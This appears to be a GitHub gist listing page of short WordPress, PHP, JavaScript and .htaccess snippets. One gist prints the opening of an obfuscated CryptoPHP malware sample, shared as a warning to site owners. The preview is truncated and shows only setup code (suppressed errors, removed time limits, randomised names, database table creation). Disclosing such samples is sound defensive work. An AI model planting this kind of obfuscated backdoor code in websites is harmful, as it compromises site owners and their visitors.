Skip to content

Instantly share code, notes, and snippets.

View technoknol's full-sized avatar
🎯
Focusing

Technoknol technoknol

🎯
Focusing
View GitHub Profile
@technoknol
technoknol / functions.php
Last active August 29, 2015 13:55
Wordpress Create Custom Theme Options Page
<?php
/* *
* Created By : TechnoKnol (Nick Name )
* Created On : 30th January 2014
* Blog : http://technoknol.blogspot.com
*
* */
/************************
*
@technoknol
technoknol / woocommerce_create_your_own_tab.php
Last active August 29, 2015 13:55
Woocommerce Create/Add your own tab on Single Product Page
<?php
/*
* Created By (Nick Name): TechnoKnol
* blog : http://technoknol.blogspot.com
* Purpose : Add your own code to Woocommerce Single Product Page
*
* */
/*
* Add this code to your theme's 'functions.php' file
@technoknol
technoknol / speedup-using-htaccess
Created February 27, 2014 09:11
Caching your website using .htaccess | Speed up your website using .htaccess | Wordpress/Joomla/Magento/Drupal/PHP
## EXPIRES CACHING ##
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
@technoknol
technoknol / edit_csv_and_download_new.php
Last active August 29, 2015 14:01
Add new rows to existing CSV without editing it and Download new one.
<?php
/*
* Author : TechnoKnol
* Blog : http://technoknol.blogspot.com
*
*/
header("Content-type: text/csv");
header("Content-Disposition: attachment; filename=file.csv");
@technoknol
technoknol / get-query-string-value-javascript.js
Created July 24, 2014 12:32
Get query string values in JavaScript?
// Function ::
function getParameterByName(name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
// Usage ::
var queryVar = getParameterByName('key');
<?php
// Get current time in milliseconds
$timeparts = explode(" ",microtime());
$currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000));
echo $currenttime;
?>
@technoknol
technoknol / CryptoPHP-malware-sample.php
Last active August 29, 2015 14:10
Crypto PHP Malware - Remove this nasty code from your site.
// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible.
// This Gist is not to harm anyone. Don't run this code on your site.
// Generally it can be found in .png , .jpg files.
<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`option_name` text NOT NULL,
`val
@technoknol
technoknol / get_where_function_is_declared.php
Created December 15, 2014 08:08
Get where function is declared file name and line no.
<?php
// Get where function is declared file name and line number.
$r = new ReflectionFunction('selected'); // ReflectionFunction is a PHP in-built class
echo $file = $r->getFileName(); // getFileName() is inherited method.
echo $startLine = $r->getStartLine(); // getStartLine() is inherited method.
?>
@technoknol
technoknol / wp_user_query orderby meta_value_num.php
Created February 3, 2015 12:53
Patch : WP_User_Query orderby meta_value_num
<?php
// Paste this code in functions.php of your active theme.
add_action( 'pre_user_query', 'wps_pre_user_query' );
function wps_pre_user_query( &$query ) {
global $wpdb;
if ( isset( $query->query_vars['orderby'] ) && 'meta_value_num' == $query->query_vars['orderby'] )
@technoknol
technoknol / comments_count.php
Created February 12, 2015 10:03
Increase/Decrease number of comments in admin side in WordPress
<?php
// Increase/Decrease number of comments in admin side in WordPress
add_filter('comments_per_page', 'increase_count', 99, 2);
function increase_count($no, $comment_status){
return 50 ; // change this no.
}
?>